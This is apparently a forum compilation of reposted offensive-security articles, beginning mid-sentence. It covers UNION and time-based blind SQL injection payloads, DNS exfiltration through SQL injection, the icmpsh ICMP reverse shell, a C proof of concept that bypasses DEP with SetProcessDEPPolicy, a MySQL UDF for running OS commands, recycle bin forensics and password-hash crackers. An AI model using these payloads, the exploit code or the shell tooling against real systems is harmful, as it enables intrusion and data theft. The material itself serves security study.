evade the SQL syntax LIMIT by commenting our own injected query at the end, for instance requesting http://example/index.php?id=1 UNION ALL SELECT NULL, NULL-- where '--' starts a valid SQL comment in MySQL, Microsoft SQL Server and others DBMS. Implementation on sqlmap code: inband SQL injection library Posted 11th July 2007 by Bernardo Damele Sursa: Bernardo Damele A. G.: Insight on UNION query SQL injection

Data Retrieval over DNS in SQL Injection Attacks Miroslav Štampar AVL-AST d.o.o., Zagreb, Croatia miroslav.stampar@avl.com Abstract This paper describes an advanced SQL injection technique where DNS resolution process is exploited for retrieval of malicious SQL query results. Resulting DNS requests are intercepted by attackers themselves at the controlled remote name server extracting valuable data. Open source SQL injection tool sqlmap [1] has been adjusted to automate this task. With modifications done, attackers are able to use this technique for fast and low-profile data retrieval, especially in cases where other standard ones fail. Introduction Exfiltration is a military term for removal of assets from within enemy territory by covert means. It now has an excellent modern usage in computing, meaning the illicit extraction of data from a system. The most covert data extraction method is considered to be the Domain Name Server (DNS) exfiltration [2]. This method can even be used on systems without a public network connection by resolving domain name queries outside the perimeter of trusted hosts through a series of internal and external name servers. DNS is a relatively simple protocol. Both the query made by a DNS client and the corresponding response provided by a DNS server use the same basic DNS message format. With the exception of zone transfers, which use TCP for the sake of reliability, DNS messages are encapsulated within a UDP datagram. To someone monitoring a machine with a tool like Wireshark [3], a covert channel implemented over DNS would look like a series of little blips that flash in and out of existence [4]. The act of relaying DNS queries from secure systems to arbitrary internet-based name servers forms the basis of this uncontrolled data channel. Even if we assume that connections to public networks are not allowed, if the target host is able to resolve arbitrary domain names, data exfiltration is possible via forwarded DNS queries [5]. When other faster SQL injection (SQLi) data retrieval techniques fail, data is usually retrieved in bit-by-bit manner, which is very noisy1 and time consuming process. Thus, attackers will typically need tens of thousands of requests to retrieve content of a regular sized table. What is going to be described is the technique where attackers can retrieve results for malicious SQL queries (e.g. administrator password) by provoking specially crafted DNS requests from vulnerable Database Management System (DBMS) and intercepting those at the other end, transferring dozens of resulting characters per single iteration. Download: http://arxiv.org/pdf/1303.3047.pdf

[h=1]Reverse connection: ICMP shell[/h] Background Sometimes, network administrators make the penetration tester's life harder. Some of them do use firewalls for what they are meant to, surprisingly!Allowing traffic only onto known machines, ports and services (ingress filtering) and setting strong egress access control lists is one of these cases. In such scenarios when you have owned a machine part of the internal network or the DMZ (e.g. in a Citrix breakout engagement or similar), it is not always trivial to get a reverse shell over TCP, not to consider a bind shell. However, what about UDP (commonly a DNS tunnel) or ICMP as the channel to get a reverse shell? ICMP is the focus on this post. Surfing the Net I found two handy tools to get a reverse shell over ICMP: soicmp - Developed in Python. Some useful features like the possibility to run soicmp daemon on multiple ethernet interfaces simultaneously handling multiple client connections. Unfortunately it uses RAW_SOCKETS on both client and server. You'll need the highest system privileges (root / administrator) to successfully run it on both endpoints. This means that you need root privileges onto the target system that you have owned, which might not always be the case. It is cross-platform. Also, it looks to me that it is unmaintained as of 2006-10-26. icmpshell - Developed in C. As per soicmp, it uses raw sockets on both the client and server side, therefore root privileges are required to use this program. It works on POSIX systems only, no support for Windows. Also, it looks to me that it is unmaintained as of 2002-02-06. icmpsh Last year a friend of mine coded a tool called icmpsh. It implements the reverse ICMP shell concept very well. The main advantage over the other open source tools is that it does not require administrative privileges to run onto the target machine. I spent some time playing with the tool and was immediately impressed. It is clean, easy and portable. The slave (client) runs on the target machine, it is written in C and works on Windows only whereas the master (server) can run on any platform as it has been implemented in C and Perl by Nico. I ported it to Python too. The reason for the Python port is that I wrapped it into sqlmap too. As of version 0.9 stable you can either establish the out-of-band connection via TCP with Metasploit or via ICMP with icmpsh - switch --os-pwn. Features Open source software - primarily coded by Nico, forked by me. Client/server architecture. The master is portable across any platform that can run either C, Perl or Python code. The target system has to be Windows because the slave runs on that platform only for now. The user running the slave on the target system does not require administrative privileges. Example Running icmpsh slave on target system (192.168.136.129) by specifying the master IP 192.168.136.1 Running icmpsh master on attacker machine (192.168.136.1) and issuing two OS commands onto the target system (192.168.136.129) Response packet from icmpsh slave containing output of issued command whoami The forked tool can be found on my GitHub at https://github.com/inquisb/icmpsh. Feedback is always welcome! Posted 15th April 2011 by Bernardo Damele Sursa: Bernardo Damele A. G.: Reverse connection: ICMP shell

DEP bypass with SetProcessDEPPolicy() Data Execution Prevention (DEP) was introduced in Windows XP SP2 and is included in Windows XP Tablet PC Edition 2005, Windows Server 2003 Service Pack 1 and later, Windows Vista Service Pack 0 and later, and Windows Server 2008 Service Pack 0 and later, and all newer versions of Windows. Hardware-enforced DEP, for CPUs that support NX (AMD) or XD (Intel) bits, enforces non-executable pages, basically it marks the stack/part of the stack as non-executable, thus preventing the execution of arbitrary shellcode residing on the stack. When the processor/system has NX/XD support/enabled, then Windows DEP is hardware DEP. Compilers such as Visual Studio C++ offer a link flag (/NXCOMPAT) that will enable applications for DEP protection. It's enabled by default since it was introduced in Visual Studio 2005. DEP can be circumvented in a number of ways by an attacker while exploiting a buffer overflow vulnerability to successfully achieve arbitrary command execution or, generally speaking, "successful shellcode run" when it resides on the stack. Some of these techniques are: Return-to-libc with a call to WinExec() widely covered in many papers and slides. ZwProtectVirtualMemory researched and explained on John's blog. NtSetInformationProcess initially researched by skape and Skywing and explained in an Uninformed article titled Bypassing Windows Hardware-enforced Data Execution Prevention. This is the widely known and used technique in most of publicly available exploits that bypass hardware-enforced DEP. SetProcessDEPPolicy, discussed in this blog post. SetProcessDEPPolicy() API has been "silently" added to Windows Vista SP1, Windows XP SP3 and Windows Server 2008. Michael Howard wrote a post on his blog back in early 2009 on how to use this function to set DEP for the current process from a developer perspective; I found it fairly well documented on MSDN too. It has also been mentioned back in summer 2008 by Alexander Sotirov and Mark Dowd in their Black Hat USA presentation titled Bypassing Browser Memory Protections. Apart from these references, I did not find on the Internet any proof of concept demonstrating in practice how to abuse this API while exploiting a buffer overflow vulnerability to bypass hardware-enforced DEP so I wrote the following proof of concept and hope it might be of help to other people too. In my opinion this technique is the simplest among the ones I have mentioned: it does not require any stack or registers alignment to be in place before the function is called. The only drawback is that it is not supported on Windows 2003 My test environment is a Windows XP Professional SP3 English updated on December 9, 2009 with DEP manually set to OptOut so enabled for all processes except the ones that are put in the exception list and the following proof of concept is not. DEP manually set to OptOut on Windows XP with no exceptions The source code has been compiled with Microsoft Visual C++ 2008 Express Edition in Release mode with the default flags. This includes /NXCOMPAT and /GS flags. Buffer Security Check (stack cookie, /GS flag) does not need to be bypassed in this specific case because the string buffer that we are going to overflow, buf, is long 4 bytes, so the compiler does not add the stack cookie to the useSetProcessDEPPolicy() function for performance reasons. Remember that strict_gs_check pragma by default is turned off. The following screenshot of Immunity Debugger shows that the shellcode (INT 3 instruction only in this PoC) has been successfully executed after DEP has been disabled abusing SetProcessDEPPolicy(). If DEP was not disabled, an Access Memory Violation would have been raised and the process would have been terminated. Follows the proof of concept: /*This is a proof of concept of buffer overflow exploitation with DEP bypass on Windows XP Professional SP3 english updated on December 9, 2009 with DEP manually set to OptOut so enabled for all processes, except the ones that are put in the exception list and this program is not. This source has been compiled with Microsoft Visual C++ 2008 Express Edition in Release mode with the default flags. This includes /NXCOMPAT and /GS. Buffer Security Check (stack cookie, /GS flag) does not need to be bypassed because the string buffer, buf, in this example is long 4 bytes, so the compiler does not add the GS cookie to the useSetProcessDEPPolicy() function. Remember that strict_gs_check pragma by default is turned off. References: * 'New NX APIs added to Windows Vista SP1, Windows XP SP3 and Windows Server 2008' by Michael Howard, http://blogs.msdn.com/michael_howard/archive/2008/01/29/new-nx-apis-added-to-windows-vista-sp1-windows-xp-sp3-and-windows-server-2008.aspx * SetProcessDEPPolicy Function, http://msdn.microsoft.com/en-us/library/bb736299%28VS.85%29.aspx Feel free to write me for comments and questions, Bernardo Damele A. G. <bernardo.damele@gmail.com> */ #include <windows.h> #include <stdlib.h> void useSetProcessDEPPolicy() { char buf[4]; /* Overflow the string buffer and EBP register. */ strcpy(buf, "AAAABBBB"); /* SetProcessDEPPolicy() API has been added to Windows Vista SP1, Windows XP SP3 and Windows Server 2008 and can be abused by an attacker while exploiting a buffer overflow vulnerability to disable hardware-enforced DEP (NX/XD bit) for the running process. Overwrite EIP with the address of SetProcessDepPolicy() API, which is 0x7c8622a4 on a Windows XP SP3 English 32bit system updated on December 9, 2009. NOTE: You might need to adapt it depending on your system patch level. */ memcpy(buf+8, "\xa4\x22\x86\x7c", 4); /* Return address of SetProcessDepPolicy(). Use an address of a JMP ESP instruction in kernel32.dll to jump to our shellcode on the top of the stack. NOTE: You might need to adapt it depending on your system patch level. */ memcpy(buf+12, "\x13\x44\x87\x7c", 4); /* Argument for SetProcessDepPolicy(). 0x00000000 turn off DEP for this process. */ memcpy(buf+16, "\x00\x00\x00\x00", 4); /* The shellcode to be executed after DEP has been disabled. For instance, a breakpoint (INT 3 instruction) to call the debug exception handler which will pause the process. */ memcpy(buf+20, "\xcc", 1); } int main() { useSetProcessDEPPolicy(); return 0; } This source code can also be found here. Posted 9th December 2009 by Bernardo Damele Sursa: Bernardo Damele A. G.: DEP bypass with SetProcessDEPPolicy()

[h=1]Command execution with a MySQL UDF[/h]Modern database management systems are powerful applications: they provide several instruments to interact with the underlying operating system. On MySQL it is possible to create a User-Defined Function to execute commands on the underlying operating system. Marco Ivaldi demonstrated that some years ago. His raptor_udf2.c works well, but it has two limitations: It is not MySQL 5.0+ compliant because it does not follow the new guidelines to create a proper UDF. It calls C function system() to execute the command and returns always integer 0. These limitations make the UDF almost useless on recent MySQL server installations if the database administrator wants to get the exit status of the command as UDF output or the command standard output itself. I recently came across an open repository of MySQL User-Defined Functions maintained by Roland Bouman and other developers. One of their codes kept my attention: lib_mysqludf_sys (version 0.0.2) which implements three different functions to interact with the underlying environement: sys_exec: executes an arbitrary command, and can thus be used to launch an external application. sys_get: gets the value of an environment variable. sys_set: create an environment variable, or update the value of an existing environment variable. The first function can be used to execute operating system commands and has two advantages over raptor's UDF: It is MySQL 5.0+ compliant and it compiles on both Linux as a shared object and on Windows as a dynamic-link library. It returns the exit status of the executed command. However, none of these two functions return the command standard output so I took some time to patch this last source code adding a sys_eval() UDF to return the standard output of the command if it success, NULL otherwise. The patched source code can be found on sqlmap subversion repository here and a single patch file for the original lib_mysqludf_sys version 0.0.2 is available here. Usage example: [/FONT][/FONT]$ wget --no-check-certificate https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz $ tar xfz lib_mysqludf_sys_0.0.3.tar.gz $ cd lib_mysqludf_sys_0.0.3 $ sudo ./install.sh Compiling the MySQL UDF gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o /usr/lib/lib_mysqludf_sys.so MySQL UDF compiled successfully Please provide your MySQL root password Enter password: MySQL UDF installed successfully $ mysql -u root -p mysql Enter password: [...] mysql> SELECT sys_eval('id'); +--------------------------------------------------+ | sys_eval('id') | +--------------------------------------------------+ | uid=118(mysql) gid=128(mysql) groups=128(mysql) | +--------------------------------------------------+ 1 row in set (0.02 sec) mysql> SELECT sys_exec('touch /tmp/test_mysql'); +-----------------------------------+ | sys_exec('touch /tmp/test_mysql') | +-----------------------------------+ | 0 | +-----------------------------------+ 1 row in set (0.02 sec) mysql> exit Bye $ ls -l /tmp/test_mysql -rw-rw---- 1 mysql mysql 0 2009-01-16 23:18 /tmp/test_mysql[FONT=trebuchet ms][FONT=courier new] UPDATE on January 25, 2009: Roland Bouman uploaded to the MySQL User-Defined Functions repository my patched version of lib_mysqludf_sys. He also updated its manual page. You can now get version 0.0.3 also from his repository. PacketStormSecurity.org and milw0rm.com mirrored it here and here. Posted 16th January 2009 by Bernardo Damele Sursa: Bernardo Damele A. G.: Command execution with a MySQL UDF

Recycle Bin Forensics An icon on the Windows desktop represents a directory in which deleted files are temporarily stored. This enables you to retrieve files that you may have accidentally deleted. From time to time, you’ll want to purge the recycle bin to free up space on your hard disk. You can also configure Windows so that it doesn’t use the recycle bin at all, but then you won’t be able to retrieve accidentally deleted files. When a file is deleted in the Microsoft Windows operating system, it doesn’t delete it permanently; it is stored in the recycle bin. If a user wants to restore the deleted file from the recycle bin, it can be done. If the user holds the shift key at the time of deleting a file, then the file will be deleted permanently without being stored in the recycle bin. In this case, the file is moved to a hidden, system folder where it is renamed and stored until further instructions are given as to what is to happen to the file. From the forensic point of view, the recycle bin is a gold mine for gathering evidence, clues, etc. By analyzing the recycle bin, we can recover useful data. To understand how the information files are structured and how the naming convention works, there must first be an understanding of how the recycle bin works. When a user “deletes” a file in Windows, the file itself is not actually deleted. The file at this point is copied into the recycle bin’s system folder, where it is held until the user gives further instructions on what to do with the file. This location varies, depending on the version of Windows the user is running. The table below shows locations from both past versions of Windows as well as Windows Vista. Here we will see how to analyze the INFO2 file for the Windows XP operating system. First check out the Recycler folder on C drive. The Recycler folder is a hidden directory, so we have to make some changes in the folder options to view that directory. Open “Folder Options,” then select “Show hidden files and folders” under the “Hidden files and folders” section. Uncheck “Hide protected operating system files” and you are done. Once the changes have been made, browse the C drive and you can see the Recycler folder clearly. Inside the Recycler folder, there’ll be a another folder with a name like “S-1-5-21-1078081533-1957994488-1343024091-1003? or similar. This will be generated for every separate user. In our case, we have only one user in this system; that’s why we have only one. Now navigate to this directory via the command prompt and type dir /a to view all files and folders. In the below figure we can see there is an INFO2 file. Just extract that file to the different location. We can’t normally open that file, so we will use a tool called Rifiuti. Rifiuti is a recycle bin forensic analysis tool. Rifiuti, the Italian word meaning “trash,” was developed to examine the contents of the INFO2 file in the recycle bin. Next put the INFO2 file inside the Rifiuti folder and run rifiuti.exe via the command prompt. We can see the Rifiuti usage command after running the rifiuti.exe. Now type in rifiuti.exe INFO2 >result.txt After running the command, the program will create a result.txt file in the rifuiti folder. Open the result.txt file. Now we can clearly see the details of every files. The deleted time of the file, from which drive it was deleted, the drive number and the file size. References: McAfee—Antivirus, Encryption, Firewall, Email Security, Web Security, Risk & Compliancedownloads/free-tools/rifiuti.aspx What is INFO2 File Hidden in Recycled or Recycler Folder? • Raymond.CC By Rohit Shaw|February 12th, 2014 Sursa: Recycle Bin Forensics - InfoSec Institute

[h=1]Free Password Hash Cracker[/h] [h=2]ow CrackStation Works[/h] CrackStation uses massive pre-computed lookup tables to crack password hashes. These tables store a mapping between the hash of a password, and the correct password for that hash. The hash values are indexed so that it is possible to quickly search the database for a given hash. If the hash is present in the database, the password can be recovered in a fraction of a second. This only works for "unsalted" hashes. For information on password hashing systems that are not vulnerable to pre-computed lookup tables, see our hashing security page. Crackstation's lookup tables were created by extracting every word from the Wikipedia databases and adding with every password list we could find. We also applied intelligent word mangling (brute force hybrid) to our wordlists to make them much more effective. For MD5 and SHA1 hashes, we have a 190GB, 15-billion-entry lookup table, and for other hashes, we have a 19GB 1.5-billion-entry lookup table. You can download CrackStation's dictionaries here, and the lookup table implementation (PHP and C) is available here. https://crackstation.net/

Time-Based Blind SQL Injection with Heavy Queries Published: September 12, 2007 By Chema Alonso, Microsoft Security MVP Introduction This article describes how attackers take advantage of SQL Injection vulnerabilities by using time-based blind SQL injection with heavy queries. Our goal is to highlight the need for establishing secure development best practices for Web applications instead of relying only on the security provided by the perimeter defenses. This article shows exploit examples for Microsoft SQL Server and Microsoft Access database engines, but the present technique is applicable to any other database product in the market. Time-Based Blind SQL Injection The first references to “blind attacks” can be found in Chris Anley’s June 2002 paper “(More) Advanced SQL Injection” [1], in which he calls attention to the possibility of creating such attacks -- in this specific case, time-based, one of the less common. Chris gives some examples of blind SQL injection techniques: <<•••••• if (ascii(substring(@s, @byte, 1)) & ( power(2, @BIT))) > 0 waitfor delay '0:0:5' …it is possible to determine whether a given bit in a string is '1' or ’0’.That is, the above query will pause for five seconds if bit @BIT' of byte @byte' in string '@s' is '1.' For example, the following query: declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5' will pause for five seconds if the first bit of the first byte of the name of the current database is 1. As these examples show, the information is extracted from the database using a vulnerable parameter. Code is then injected to generate a delay in response time when the condition is true. After this first reference, blind SQL injection techniques continued to be studied with most techniques generating error messages from the attack system, because of the simplicity, quick execution, and extension of showing an error message versus delaying the database. One year later, in September 2003, Ofer Maor and Amichai Shulman published the paper “Blindfolded SQL Injection” [2]. Here, they analyze different ways to identify a vulnerable parameter on a SQL Injection system, even when the information processed and returned by the system is not visible. At the 2004 BlackHat Conference, Cameron Hotchkies presented his paper “Blind SQL Injection Automation Techniques” [3]. He proposed alternative methods to automate the exploitation of a Blind SQL Injection vulnerable parameter, using different custom tools. He suggested three different solutions for the automation: (1) Searching for keywords on positive and negative results; (2) Using MD5 signatures to discriminate positive and negative results; (3) Using textual difference engine. He also introduced SQueal, an automatic tool to extract information through Blind SQL Injection, which evolved later to another tool called Absinthe [4]. In September 2005, David Litchfield published the article “Data Mining with SQL Injection and Inference” [5], where he discussed the time-based inference techniques, and proposed other ways to obtain time delays using calls to stored procedures, such as xp_cmdshell on MS SQL Server to do a ping. xp_cmdshell ‘ping –n 10 127.0.0.1’ ? application paused 10 seconds. Time-based techniques can be extended to any action performed by a stored procedure and able to generate a time delay or any other measurable action. In December 2006, Ronald van den Heetkamp published the “SQL Injection Cheat Sheet” [6], including Blind SQL Injection tricks for MySQL with some examples based on benchmark functions that can generate time delays. For instance: SELECT BENCHMARK(10000000,ENCODE('abc','123')); [around 5 sec] SELECT BENCHMARK(1000000,MD5(CHAR(116))) [ around 7 sec] Example: SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login A recent exploit [7], published in June 2007 at http://www.milw0rm.com (a Web site dedicated to exploits and security) shows how this technique could be used to attack a game server called Solar Empire: ¡$sql="F***You'),(1,2,3,4,5,(SELECT IF (ASCII (SUBSTRING(se_games.admin_pw, ".$j.", 1)) =".$i.") & 1, benchmark(200000000,CHAR(0)),0) FROM se_games))/*"; As the studies of the time-based Blind SQL Injection techniques are moving forward, some new tools have been created, such as SQL Ninja [8], which uses the Wait-for method for Microsoft SQL Server engines, or SQL PowerInjector[9], which implements the Wait-for method for Microsoft SQL Server Database engines, Benchmark functions for MySQL engines, and an extension of the Wait-for method for Oracle engines, using calls to DBMS_LOCK methods. Articol complet: Time-Based Blind SQL Injection with Heavy Queries

Oracle Password Checker (Cracker) Checkpwd 1.23 (free) Checkpwd 1.23 is one of the fastest (see Benchmark) dictionary based password checker for Oracle databases. This is a useful tool for DBA's to identify Oracle accounts with weak or default passwords. Version 1.23 contains a version which only shows that a password is weak but not the password itself. Checkpwd reads the password hashes from the view dba_users and compares the hashkeys with the hashkeys calculated from a dictionary file. Details about Oracle (database) passwords are available here: Fact Sheet about Oracle database passwords. Downloads Checkpwd 1.23 (for Windows) + default passwords + libaries + wordlist with 1.5 Mio words + Oracle Instant Client 10.2 (35 MB, MD5SUM: d41737cca1b07d66bd134c53989fa1b5 *oracle_checkpwd_big.zip) Checkpwd 1.23 (for Windows) + default passwords + libaries (1.5 MB, MD5SUM: 17a00e28b9ff0e6bed45554b43f62b06 *oracle_checkpwd.zip) Checkpwd 1.23 - passwords not displayed - (for Windows) + default passwords + libaries (1.5 MB, MD5SUM: 6638b0c82dea7685b6e045c9f7136168 *oracle_checkpwd_nopw.zip) Checkpwd 1.23 (for Linux) + default passwords + Instant Client 10.2 (42 MB, MD5SUM: aa05f5e7c8a20ec1094e68143085c3a7 *oracle_checkpwd_linux.tar.gz) Checkpwd 1.23 - passwords not displayed - (for Linux) + default passwords + Instant Client 10.2 (42 MB, MD5SUM: b0f356a27f6089275637555fbe70445d *oracle_checkpwd_nopw_linux.tar.gz) Checkpwd 1.23 (for Mac OSX (PPC)) + default passwords + wordlist with 1.5 Mio words + Instant Client 10.1 (48 MB, MD5SUM: fe4608bf25915585adea5bf668ec6569 *oracle_checkpwd_mac_big.tar.gz) Checkpwd 1.23 (for Mac OSX (PPC)) + default passwords (without Instant Client) (56 KB, MD5SUM: 53bfaf05ba7375a576a55d30f4a44319 *oracle_checkpwd_mac.tar.gz) Checkpwd 1.23 - passwords not displayed - (for Mac OSX (PPC)) + default passwords (without Instant Client) (56 KB, MD5SUM: dc4a3c623224055de5a8bac0f076f7a6 *oracle_checkpwd_nopw_mac.tar.gz) Checkpwd 1.23 (for Mac OSX (Intel)) + default passwords + wordlist with 1.5 Mio words + Instant Client 10.1 (37 MB, MD5SUM: be18c958cf1a7af27c7825c9c78c3fa6 *oracle_checkpwd_mac_intel_big.zip) Checkpwd 1.23 (for Mac OSX (Intel)) + default passwords (without Instant Client) (68 KB, MD5SUM: f7d82902baea9df804e55b757c452aa3 *oracle_checkpwd_mac_intel.zip) Checkpwd 1.23 - passwords not displayed - (for Mac OSX (Intel)) + default passwords (without Instant Client) (68 KB, MD5SUM: edac226122e78c7690bef1b0e4780959 *oracle_checkpwd_nopw_mac_intel.zip) Sursa: Oracle Password Cracker (Checker)